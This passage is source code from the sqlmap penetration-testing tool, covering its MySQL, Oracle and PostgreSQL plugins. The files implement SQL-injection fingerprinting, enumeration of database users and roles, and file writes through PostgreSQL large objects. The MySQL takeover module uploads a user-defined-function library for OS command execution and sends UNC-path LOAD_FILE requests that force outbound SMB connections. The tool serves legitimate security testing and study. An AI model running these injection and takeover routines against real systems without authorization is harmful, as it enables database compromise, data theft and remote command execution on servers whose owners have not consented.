if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if "dbmsVersion" in kb.bannerFp else None if banVer and re.search("-log$", kb.data.banner): banVer += ", logging enabled" banVer = Format.getDbms([banVer] if banVer else None) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89) * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42) * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4) * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0) * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) """ if not conf.extensiveFp and (Backend.isDbmsWithin(MYSQL_ALIASES) \ or (conf.dbms or "").lower() in MYSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") v = v.replace(" ", "") Backend.setVersion(v) setDbms("%s %s" % (DBMS.MYSQL, Backend.getVersion())) if Backend.isVersionGreaterOrEqualThan("5"): kb.data.has_information_schema = True self.getBanner() return True infoMsg = "testing %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("QUARTER(NULL) IS NULL") if result: infoMsg = "confirming %s" % DBMS.MYSQL logger.info(infoMsg) result = inject.checkBooleanExpression("SESSION_USER() LIKE USER()") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False # reading information_schema on some platforms is causing annoying timeout exits # Reference: http://bugs.mysql.com/bug.php?id=15855 # Determine if it is MySQL >= 5.0.0 if inject.checkBooleanExpression("ISNULL(TIMESTAMPADD(MINUTE,[RANDNUM],NULL))"): kb.data.has_information_schema = True Backend.setVersion(">= 5.0.0") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.MYSQL logger.info(infoMsg) # Check if it is MySQL >= 5.5.0 if inject.checkBooleanExpression("TO_SECONDS(950501)>0"): Backend.setVersion(">= 5.5.0") # Check if it is MySQL >= 5.1.2 and < 5.5.0 elif inject.checkBooleanExpression("@@table_open_cache=@@table_open_cache"): if inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.GLOBAL_STATUS LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.12", "< 5.5.0"]) elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PROCESSLIST LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.7", "< 5.1.12"]) elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PARTITIONS LIMIT 0, 1)"): Backend.setVersion("= 5.1.6") elif inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM information_schema.PLUGINS LIMIT 0, 1)"): Backend.setVersionList([">= 5.1.5", "< 5.1.6"]) else: Backend.setVersionList([">= 5.1.2", "< 5.1.5"]) # Check if it is MySQL >= 5.0.0 and < 5.1.2 elif inject.checkBooleanExpression("@@hostname=@@hostname"): Backend.setVersionList([">= 5.0.38", "< 5.1.2"]) elif inject.checkBooleanExpression("@@character_set_filesystem=@@character_set_filesystem"): Backend.setVersionList([">= 5.0.19", "< 5.0.38"]) elif not inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM DUAL WHERE [RANDNUM1]!=[RANDNUM2])"): Backend.setVersionList([">= 5.0.11", "< 5.0.19"]) elif inject.checkBooleanExpression("@@div_precision_increment=@@div_precision_increment"): Backend.setVersionList([">= 5.0.6", "< 5.0.11"]) elif inject.checkBooleanExpression("@@automatic_sp_privileges=@@automatic_sp_privileges"): Backend.setVersionList([">= 5.0.3", "< 5.0.6"]) else: Backend.setVersionList([">= 5.0.0", "< 5.0.3"]) elif inject.checkBooleanExpression("DATABASE() LIKE SCHEMA()"): Backend.setVersion(">= 5.0.2") setDbms("%s 5" % DBMS.MYSQL) self.getBanner() elif inject.checkBooleanExpression("STRCMP(LOWER(CURRENT_USER()), UPPER(CURRENT_USER()))=0"): Backend.setVersion("< 5.0.0") setDbms("%s 4" % DBMS.MYSQL) self.getBanner() if not conf.extensiveFp: return True # Check which version of MySQL < 5.0.0 it is if inject.checkBooleanExpression("3=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.11", "< 5.0.0"]) elif inject.checkBooleanExpression("2=(SELECT COERCIBILITY(USER()))"): Backend.setVersionList([">= 4.1.1", "< 4.1.11"]) elif inject.checkBooleanExpression("CURRENT_USER()=CURRENT_USER()"): Backend.setVersionList([">= 4.0.6", "< 4.1.1"]) if inject.checkBooleanExpression("'utf8'=(SELECT CHARSET(CURRENT_USER()))"): Backend.setVersion("= 4.1.0") else: Backend.setVersionList([">= 4.0.6", "< 4.1.0"]) else: Backend.setVersionList([">= 4.0.0", "< 4.0.6"]) else: Backend.setVersion("< 4.0.0") setDbms("%s 3" % DBMS.MYSQL) self.getBanner() return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MYSQL logger.warn(warnMsg) return False def checkDbmsOs(self, detailed=False): if Backend.getOs(): return infoMsg = "fingerprinting the back-end DBMS operating system" logger.info(infoMsg) result = inject.checkBooleanExpression("'W'=UPPER(MID(@@version_compile_os,1,1))") if result: Backend.setOs(OS.WINDOWS) elif not result: Backend.setOs(OS.LINUX) if Backend.getOs(): infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() logger.info(infoMsg) else: self.userChooseDbmsOs() self.cleanup(onlyFileTbl=True) sqlmap-1.0.4/plugins/dbms/mysql/syntax.py000066400000000000000000000016061270044205500204660ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import binascii from lib.core.convert import utf8encode from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT 0x6162636465666768 FROM foobar' """ def escaper(value): retVal = None try: retVal = "0x%s" % binascii.hexlify(value) except UnicodeEncodeError: retVal = "CONVERT(0x%s USING utf8)" % "".join("%.2x" % ord(_) for _ in utf8encode(value)) return retVal return Syntax._escape(expression, quote, escaper) sqlmap-1.0.4/plugins/dbms/mysql/takeover.py000066400000000000000000000115731270044205500207640ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import re from lib.core.agent import agent from lib.core.common import Backend from lib.core.common import decloakToTemp from lib.core.common import isStackingAvailable from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import randomStr from lib.core.common import unArrayizeValue from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import OS from lib.request import inject from lib.request.connect import Connect as Request from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): self.__basedir = None self.__datadir = None self.__plugindir = None GenericTakeover.__init__(self) def udfSetRemotePath(self): self.getVersionFromBanner() banVer = kb.bannerFp["dbmsVersion"] if banVer >= "5.0.67": if self.__plugindir is None: logger.info("retrieving MySQL plugin directory absolute path") self.__plugindir = unArrayizeValue(inject.getValue("SELECT @@plugin_dir")) # On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0 if self.__plugindir is None and banVer >= "5.1.19": logger.info("retrieving MySQL base directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir self.__basedir = unArrayizeValue(inject.getValue("SELECT @@basedir")) if re.search("^[\w]\:[\/\\\\]+", (self.__basedir or ""), re.I): Backend.setOs(OS.WINDOWS) else: Backend.setOs(OS.LINUX) # The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin if Backend.isOs(OS.WINDOWS): self.__plugindir = "%s/lib/plugin" % self.__basedir else: self.__plugindir = "%s/lib/mysql/plugin" % self.__basedir self.__plugindir = ntToPosixSlashes(normalizePath(self.__plugindir)) or '.' self.udfRemoteFile = "%s/%s.%s" % (self.__plugindir, self.udfSharedLibName, self.udfSharedLibExt) # On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file # On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file else: #logger.debug("retrieving MySQL data directory absolute path") # Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir #self.__datadir = inject.getValue("SELECT @@datadir") # NOTE: specifying the relative path as './udf.dll' # saves in @@datadir on both MySQL 4.1 and MySQL 5.0 self.__datadir = '.' self.__datadir = ntToPosixSlashes(normalizePath(self.__datadir)) # The DLL can be in either C:\WINDOWS, C:\WINDOWS\system, # C:\WINDOWS\system32, @@basedir\bin or @@datadir self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt) def udfSetLocalPaths(self): self.udfLocalFile = paths.SQLMAP_UDF_PATH self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) if Backend.isOs(OS.WINDOWS): _ = os.path.join(self.udfLocalFile, "mysql", "windows", "%d" % Backend.getArch(), "lib_mysqludf_sys.dll_") self.udfLocalFile = decloakToTemp(_) self.udfSharedLibExt = "dll" else: _ = os.path.join(self.udfLocalFile, "mysql", "linux", "%d" % Backend.getArch(), "lib_mysqludf_sys.so_") self.udfLocalFile = decloakToTemp(_) self.udfSharedLibExt = "so" def udfCreateFromSharedLib(self, udf, inpRet): if udf in self.udfToCreate: logger.info("creating UDF '%s' from the binary UDF file" % udf) ret = inpRet["return"] # Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html inject.goStacked("DROP FUNCTION %s" % udf) inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt)) self.createdUdf.add(udf) else: logger.debug("keeping existing UDF '%s' as requested" % udf) def uncPathRequest(self): if not isStackingAvailable(): query = agent.prefixQuery("AND LOAD_FILE('%s')" % self.uncPath) query = agent.suffixQuery(query) payload = agent.payload(newValue=query) Request.queryPage(payload) else: inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True) sqlmap-1.0.4/plugins/dbms/oracle/000077500000000000000000000000001270044205500166635ustar00rootroot00000000000000sqlmap-1.0.4/plugins/dbms/oracle/__init__.py000066400000000000000000000020171270044205500207740ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import ORACLE_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.oracle.enumeration import Enumeration from plugins.dbms.oracle.filesystem import Filesystem from plugins.dbms.oracle.fingerprint import Fingerprint from plugins.dbms.oracle.syntax import Syntax from plugins.dbms.oracle.takeover import Takeover from plugins.generic.misc import Miscellaneous class OracleMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Oracle methods """ def __init__(self): self.excludeDbsList = ORACLE_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.ORACLE] = Syntax.escape sqlmap-1.0.4/plugins/dbms/oracle/connector.py000066400000000000000000000046451270044205500212400ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import cx_Oracle except ImportError: pass import logging import os from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector os.environ["NLS_LANG"] = ".AL32UTF8" class Connector(GenericConnector): """ Homepage: http://cx-oracle.sourceforge.net/ User guide: http://cx-oracle.sourceforge.net/README.txt API: http://cx-oracle.sourceforge.net/html/index.html License: http://cx-oracle.sourceforge.net/LICENSE.txt """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() self.__dsn = cx_Oracle.makedsn(self.hostname, self.port, self.db) self.__dsn = utf8encode(self.__dsn) self.user = utf8encode(self.user) self.password = utf8encode(self.password) try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password, mode=cx_Oracle.SYSDBA) logger.info("successfully connected as SYSDBA") except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError): try: self.connector = cx_Oracle.connect(dsn=self.__dsn, user=self.user, password=self.password) except (cx_Oracle.OperationalError, cx_Oracle.DatabaseError, cx_Oracle.InterfaceError), msg: raise SqlmapConnectionException(msg) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except cx_Oracle.InterfaceError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg) return None def execute(self, query): retVal = False try: self.cursor.execute(utf8encode(query)) retVal = True except cx_Oracle.DatabaseError, msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % msg) self.connector.commit() return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() return retVal sqlmap-1.0.4/plugins/dbms/oracle/enumeration.py000066400000000000000000000135461270044205500215740ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import getLimitRange from lib.core.common import isAdminFromPrivileges from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.request import inject from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getRoles(self, query2=False): infoMsg = "fetching database users roles" rootQuery = queries[Backend.getIdentifiedDbms()].roles if conf.user == "CU": infoMsg += " for current user" conf.user = self.getCurrentUser() logger.info(infoMsg) # Set containing the list of DBMS administrators areAdmins = set() if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: if query2: query = rootQuery.inband.query2 condition = rootQuery.inband.condition2 else: query = rootQuery.inband.query condition = rootQuery.inband.condition if conf.user: users = conf.user.split(",") query += " WHERE " query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) values = inject.getValue(query, blind=False, time=False) if not values and not query2: infoMsg = "trying with table USER_ROLE_PRIVS" logger.info(infoMsg) return self.getRoles(query2=True) if not isNoneValue(values): for value in values: user = None roles = set() for count in xrange(0, len(value)): # The first column is always the username if count == 0: user = value[count] # The other columns are the roles else: role = value[count] # In Oracle we get the list of roles as string roles.add(role) if user in kb.data.cachedUsersRoles: kb.data.cachedUsersRoles[user] = list(roles.union(kb.data.cachedUsersRoles[user])) else: kb.data.cachedUsersRoles[user] = list(roles) if not kb.data.cachedUsersRoles and isInferenceAvailable() and not conf.direct: if conf.user: users = conf.user.split(",") else: if not len(kb.data.cachedUsers): users = self.getUsers() else: users = kb.data.cachedUsers retrievedUsers = set() for user in users: unescapedUser = None if user in retrievedUsers: continue infoMsg = "fetching number of roles " infoMsg += "for user '%s'" % user logger.info(infoMsg) if unescapedUser: queryUser = unescapedUser else: queryUser = user if query2: query = rootQuery.blind.count2 % queryUser else: query = rootQuery.blind.count % queryUser count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): if count != 0 and not query2: infoMsg = "trying with table USER_SYS_PRIVS" logger.info(infoMsg) return self.getPrivileges(query2=True) warnMsg = "unable to retrieve the number of " warnMsg += "roles for user '%s'" % user logger.warn(warnMsg) continue infoMsg = "fetching roles for user '%s'" % user logger.info(infoMsg) roles = set() indexRange = getLimitRange(count, plusOne=True) for index in indexRange: if query2: query = rootQuery.blind.query2 % (queryUser, index) else: query = rootQuery.blind.query % (queryUser, index) role = inject.getValue(query, union=False, error=False) # In Oracle we get the list of roles as string roles.add(role) if roles: kb.data.cachedUsersRoles[user] = list(roles) else: warnMsg = "unable to retrieve the roles " warnMsg += "for user '%s'" % user logger.warn(warnMsg) retrievedUsers.add(user) if not kb.data.cachedUsersRoles: errMsg = "unable to retrieve the roles " errMsg += "for the database users" raise SqlmapNoneDataException(errMsg) for user, privileges in kb.data.cachedUsersRoles.items(): if isAdminFromPrivileges(privileges): areAdmins.add(user) return kb.data.cachedUsersRoles, areAdmins sqlmap-1.0.4/plugins/dbms/oracle/filesystem.py000066400000000000000000000014301270044205500214170ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): GenericFilesystem.__init__(self) def readFile(self, rFile): errMsg = "File system read access not yet implemented for " errMsg += "Oracle" raise SqlmapUnsupportedFeatureException(errMsg) def writeFile(self, wFile, dFile, fileType=None, forceCheck=False): errMsg = "File system write access not yet implemented for " errMsg += "Oracle" raise SqlmapUnsupportedFeatureException(errMsg) sqlmap-1.0.4/plugins/dbms/oracle/fingerprint.py000066400000000000000000000072241270044205500215710ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import re from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.session import setDbms from lib.core.settings import ORACLE_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.ORACLE) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.ORACLE return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(ORACLE_ALIASES) or (conf.dbms or "").lower() in ORACLE_ALIASES): setDbms(DBMS.ORACLE) self.getBanner() return True infoMsg = "testing %s" % DBMS.ORACLE logger.info(infoMsg) # NOTE: SELECT ROWNUM=ROWNUM FROM DUAL does not work connecting # directly to the Oracle database if conf.direct: result = True else: result = inject.checkBooleanExpression("ROWNUM=ROWNUM") if result: infoMsg = "confirming %s" % DBMS.ORACLE logger.info(infoMsg) # NOTE: SELECT LENGTH(SYSDATE)=LENGTH(SYSDATE) FROM DUAL does # not work connecting directly to the Oracle database if conf.direct: result = True else: result = inject.checkBooleanExpression("LENGTH(SYSDATE)=LENGTH(SYSDATE)") if not result: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE logger.warn(warnMsg) return False setDbms(DBMS.ORACLE) self.getBanner() if not conf.extensiveFp: return True infoMsg = "actively fingerprinting %s" % DBMS.ORACLE logger.info(infoMsg) for version in ("11i", "10g", "9i", "8i"): number = int(re.search("([\d]+)", version).group(1)) output = inject.checkBooleanExpression("%d=(SELECT SUBSTR((VERSION),1,%d) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1)" % (number, 1 if number < 10 else 2)) if output: Backend.setVersion(version) break return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.ORACLE logger.warn(warnMsg) return False def forceDbmsEnum(self): if conf.db: conf.db = conf.db.upper() if conf.tbl: conf.tbl = conf.tbl.upper() sqlmap-1.0.4/plugins/dbms/oracle/syntax.py000066400000000000000000000013651270044205500205700ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar' """ def escaper(value): return "||".join("%s(%d)" % ("CHR" if ord(value[i]) < 256 else "NCHR", ord(value[i])) for i in xrange(len(value))) return Syntax._escape(expression, quote, escaper) sqlmap-1.0.4/plugins/dbms/oracle/takeover.py000066400000000000000000000022201270044205500210510ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.exception import SqlmapUnsupportedFeatureException from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): GenericTakeover.__init__(self) def osCmd(self): errMsg = "Operating system command execution functionality not " errMsg += "yet implemented for Oracle" raise SqlmapUnsupportedFeatureException(errMsg) def osShell(self): errMsg = "Operating system shell functionality not yet " errMsg += "implemented for Oracle" raise SqlmapUnsupportedFeatureException(errMsg) def osPwn(self): errMsg = "Operating system out-of-band control functionality " errMsg += "not yet implemented for Oracle" raise SqlmapUnsupportedFeatureException(errMsg) def osSmb(self): errMsg = "One click operating system out-of-band control " errMsg += "functionality not yet implemented for Oracle" raise SqlmapUnsupportedFeatureException(errMsg) sqlmap-1.0.4/plugins/dbms/postgresql/000077500000000000000000000000001270044205500176215ustar00rootroot00000000000000sqlmap-1.0.4/plugins/dbms/postgresql/__init__.py000066400000000000000000000030031270044205500217260ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import PGSQL_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.postgresql.enumeration import Enumeration from plugins.dbms.postgresql.filesystem import Filesystem from plugins.dbms.postgresql.fingerprint import Fingerprint from plugins.dbms.postgresql.syntax import Syntax from plugins.dbms.postgresql.takeover import Takeover from plugins.generic.misc import Miscellaneous class PostgreSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines PostgreSQL methods """ def __init__(self): self.excludeDbsList = PGSQL_SYSTEM_DBS self.sysUdfs = { # UDF name: UDF parameters' input data-type and return data-type "sys_exec": { "input": ["text"], "return": "int4" }, "sys_eval": { "input": ["text"], "return": "text" }, "sys_bineval": { "input": ["text"], "return": "int4" }, "sys_fileread": { "input": ["text"], "return": "text" } } Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.PGSQL] = Syntax.escape sqlmap-1.0.4/plugins/dbms/postgresql/connector.py000066400000000000000000000040111270044205500221610ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import psycopg2 import psycopg2.extensions psycopg2.extensions.register_type(psycopg2.extensions.UNICODE) psycopg2.extensions.register_type(psycopg2.extensions.UNICODEARRAY) except ImportError: pass from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://initd.org/psycopg/ User guide: http://initd.org/psycopg/docs/ API: http://initd.org/psycopg/docs/genindex.html Debian package: python-psycopg2 License: GPL Possible connectors: http://wiki.python.org/moin/PostgreSQL """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port) except psycopg2.OperationalError, msg: raise SqlmapConnectionException(msg) self.connector.set_client_encoding('UNICODE') self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except psycopg2.ProgrammingError, msg: logger.warn(msg) return None def execute(self, query): retVal = False try: self.cursor.execute(query) retVal = True except (psycopg2.OperationalError, psycopg2.ProgrammingError), msg: logger.warn(("(remote) %s" % msg).strip()) except psycopg2.InternalError, msg: raise SqlmapConnectionException(msg) self.connector.commit() return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() return retVal sqlmap-1.0.4/plugins/dbms/postgresql/enumeration.py000066400000000000000000000007571270044205500225320ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.data import logger from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getHostname(self): warnMsg = "on PostgreSQL it is not possible to enumerate the hostname" logger.warn(warnMsg) sqlmap-1.0.4/plugins/dbms/postgresql/filesystem.py000066400000000000000000000054221270044205500223620ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os from lib.core.common import randomInt from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from lib.core.settings import LOBLKSIZE from lib.request import inject from plugins.generic.filesystem import Filesystem as GenericFilesystem class Filesystem(GenericFilesystem): def __init__(self): self.oid = None self.page = None GenericFilesystem.__init__(self) def stackedReadFile(self, rFile): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) self.initEnv() return self.udfEvalCmd(cmd=rFile, udfName="sys_fileread") def unionWriteFile(self, wFile, dFile, fileType, forceCheck=False): errMsg = "PostgreSQL does not support file upload with UNION " errMsg += "query SQL injection technique" raise SqlmapUnsupportedFeatureException(errMsg) def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): wFileSize = os.path.getsize(wFile) content = open(wFile, "rb").read() self.oid = randomInt() self.page = 0 self.createSupportTbl(self.fileTblName, self.tblField, "text") debugMsg = "create a new OID for a large object, it implicitly " debugMsg += "adds an entry in the large objects system table" logger.debug(debugMsg) # References: # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html inject.goStacked("SELECT lo_unlink(%d)" % self.oid) inject.goStacked("SELECT lo_create(%d)" % self.oid) inject.goStacked("DELETE FROM pg_largeobject WHERE loid=%d" % self.oid) for offset in xrange(0, wFileSize, LOBLKSIZE): fcEncodedList = self.fileContentEncode(content[offset:offset + LOBLKSIZE], "base64", False) sqlQueries = self.fileToSqlQueries(fcEncodedList) for sqlQuery in sqlQueries: inject.goStacked(sqlQuery) inject.goStacked("INSERT INTO pg_largeobject VALUES (%d, %d, DECODE((SELECT %s FROM %s), 'base64'))" % (self.oid, self.page, self.tblField, self.fileTblName)) inject.goStacked("DELETE FROM %s" % self.fileTblName) self.page += 1 debugMsg = "exporting the OID %s file content to " % fileType debugMsg += "file '%s'" % dFile logger.debug(debugMsg) inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) inject.goStacked("SELECT lo_unlink(%d)" % self.oid) return written sqlmap-1.0.4/plugins/dbms/postgresql/fingerprint.py000066400000000000000000000144201270044205500225230ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import PGSQL_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.PGSQL) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " if not conf.extensiveFp: value += DBMS.PGSQL return value actVer = Format.getDbms() blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None banVer = Format.getDbms([banVer]) value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): """ References for fingerprint: * http://www.postgresql.org/docs/9.1/interactive/release.html (up to 